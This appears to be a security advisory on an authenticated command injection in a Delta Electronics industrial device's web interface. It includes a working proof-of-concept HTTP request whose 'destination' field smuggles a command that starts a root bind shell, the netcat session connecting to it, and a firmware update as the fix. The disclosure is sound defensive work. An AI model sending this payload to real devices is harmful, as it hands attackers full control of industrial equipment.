1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.
The web server is prone to an authenticated command injection via POST parameters. This is only possible if the „timestamp“ parameter is set correctly in the URL. The following proof-of-concept shows how to open a port binding shell on port 8889 with a „utelnetd“ listener:
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1
submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`
For accessing the device, the command „netcat“ can be used:
$ nc 192.168.3.150 8889
����!����
BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter ‚help‘ for a list of built-in commands.
/ #
Update to firmware version V2.5.2.
CyberDanube recommends Delta Electronics customers to upgrade the firmware to the latest version available.
